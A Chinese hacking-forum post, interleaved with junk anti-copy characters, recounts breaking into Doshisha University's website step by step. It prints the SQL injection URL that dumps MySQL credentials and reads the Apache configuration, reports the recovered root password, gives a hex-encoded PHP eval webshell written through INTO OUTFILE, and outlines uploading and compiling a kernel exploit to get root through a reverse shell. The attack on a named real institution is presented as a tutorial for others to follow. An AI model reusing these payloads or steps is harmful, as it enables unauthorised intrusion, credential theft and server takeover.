入侵日本同志社大学技术分析
# H9 r8 c/ _9 T$ m
* @3 T9 z3 q: D) M% x5 Q: M! y* ehttp://www.doshisha.ac.jp/chs/news/index.php?i=-15 x8 d" P. o: {" B& N# V0 f
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:/ j n( c1 r; ^9 @
. S; d8 A) J- a8 Zhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user. ]' \+ P1 }$ C1 t
* |, P, @' [# \5 I" l0 T
; m# L1 k# v# y7 G( ]+ y3 b) P
7 g0 r& F5 }! E" s" t# d//@@datadir为数据库文件路径
9 c. f8 b2 Y1 Z- S( t! P2 J3 K1 S
6 o% S# t/ U# U' Q/ d( a7 r3 {
" I: c, _1 y" t# e6 o//load_file读取网站容器apache的配置文件
- z7 g! L7 f( Q& V0 r7 U 6 c C) }# l4 ]" X( P
) `# n4 F9 w8 K/ a" P9 Q//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 ; F! |- S+ y9 _3 j' i
复制代码3 m. g- I( [' p x7 `' W
% Q2 h- A2 M& K. P- O虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
6 t* [- y( n+ Y4 I% b3 U# ~) b9 G
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
8 Z: R! E% q- ~7 G$ S( r$ r3 ]* {* o(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)( K3 I+ y" \1 S4 ?2 o8 T
1 a. z8 i( E& c+ M* O1 i前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。# l8 ?: c7 ~& D, o
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html6 ?) F9 c0 I& i' K% _
% D1 m# l6 Y- c+ r( m5 r" K/ k9 B既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/ m/ Y2 T3 G) r* B
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。. h* V4 y# v* w' _5 Z
直接写一句话:
; V Y! y- g* y/ w$ T: L
/ y/ z( m' \4 q5 j5 y+ v1 `; X3 J9 Q3 Rhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#9 u6 B$ G8 J1 c( s
6 d+ D' z H6 o6 V" W5 L' A ' g# |" I: m& P. h" Y( g% o
! A; ~: d0 N; _7 E3 e8 l# N
//最后的#是为了闭合前面的语句
) m: U9 l) {! p( H 2 f1 z" J2 y, W" b$ W$ Z
4 c9 n/ N; p2 ~ ?6 v/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E / C% ^8 c7 B- z, R" O, u7 }2 `) o' f/ r
+ V" H* N" J! S$ ~1 t/ |, R- X+ p" C+ e8 `
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
. L1 a1 i0 E* q! R! Q u, X0 _
3 ]3 C `% v E5 P. e y
8 |7 _3 m3 ?8 O# X$ x2 c( l: B//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
$ J3 }; V- ^' r8 G H3 V8 T ; C g e' C) p- y; @
- ^' z+ n) q( q: w; I( j1 g* P3 ? k//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 " [% X- N: d" J- G
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” . X" |4 T' o5 L: y4 F
复制代码7 W3 M2 u" l4 u% w1 K3 N" Y
9 H) Q& n& C6 q0 I' R
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有* ~( z' ^: e5 ~' Q Y. D
通过上述注入语句,我们就得到了一句话木马:
3 Q) g4 c& I. V
$ a2 Y7 S- k+ g- x w7 A
4 i0 y: k3 [* W, A. @% j; x
: W5 M5 { C- F: V 2 {5 W6 ?. ~" o% Y
* `. H. H# B; r& z9 X8 ?http://www.doshisha.ac.jp/english/engnews_img/aa.php
/ H( s( ?8 I5 o2 \ w( m- K复制代码
0 d( [( p% D% O& x% [4 i% M; g+ N8 d9 `
用菜刀连接,密码是cmd,如图所示:9 d4 i% p O( d4 `+ a
然后在命令提示行里看了一下,现在的权限是:
% f: [& }7 e9 X/ G* J+ x
* b/ O) @0 G, a; t之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
* }+ d! n7 g+ Z( }9 N/ t: H1 I: i: N好在赋权给这个文件夹不需要root,直接执行赋权语句:
4 S! z4 {! O6 i U8 u f( t) J: c) r# @1 J% I
( g0 i3 U5 z$ u- h
# ?* `0 r+ @1 M0 L: H. n8 u
* Z! S7 }( n; t# E
1 @% }& s- z. C' B7 {, P9 |chmod +x /tmp/ / p, ?& Z+ K& S4 w
复制代码; N' z7 ?) H7 S0 l
+ g6 C- D4 T% _6 e在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行" G9 D+ l, C# H' k f
然后就查了一下内核版本:/ k: G3 m& u/ W8 F# _5 v0 i
0 H) L( h0 E* U
# G7 I. `% l& z
" v& b" u6 j- ]; A7 }* z' L
! Y/ o; P& R5 w3 h$ g( ?) b1 ?3 [- T
1 L6 F! `( ^# _/ t% ?6 z# Guname-a
5 |( E J: B1 _ n- k$ k3 L- u * f" k: {$ y! i$ m! t0 P y: V$ _
. m. {6 w6 X3 D
//其实lsb_release -a
) e ?( w9 Q, O复制代码9 G1 v5 [! [4 b2 h# q* e
8 b& Q: C4 V9 b2 x1 i# C) s如图所示:( n) ~" b1 q% d9 m9 Y
! t' X! Q/ a& z# @( P
内核版本:linux mainz1 2.6.28-194.e15
i# g6 n! [. g L* o系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
; D# c8 L$ k/ R+ O/ H* [& x+ \8 n, h查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
1 i' K- L( O2 \8 R* L2 L' l, f$ p) s; N$ z
然后给予执行权限
/ M5 l$ z' X6 W$ e6 e" Z一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样5 Q8 U4 z* b' h0 Q7 x0 u. Q0 I& G
3 V7 T3 {1 f* \9 F1 f
2 `1 f5 S4 N/ T# x+ Q, Y$ _" A( l& |, A! Q% h" C, E
; k) l# y% J+ B; u, }. G0 ]( Q- V
0 H3 D; q! E9 B1 a
chmod +x /tmp/2.6.18-194
' v' Q E; f. ~4 B复制代码 然后直接执行!~
: t! H5 K3 ]% Z( V C
; S% [1 Q/ @8 r1 s% s总结:
: |! S$ M9 |: u9 _, t" l) b这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
9 h. y6 v b. D$ v0 y提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root) t% [( _6 t2 p' b* P1 N% }3 r8 U
% w% a$ u$ Y) ?4 o8 K
|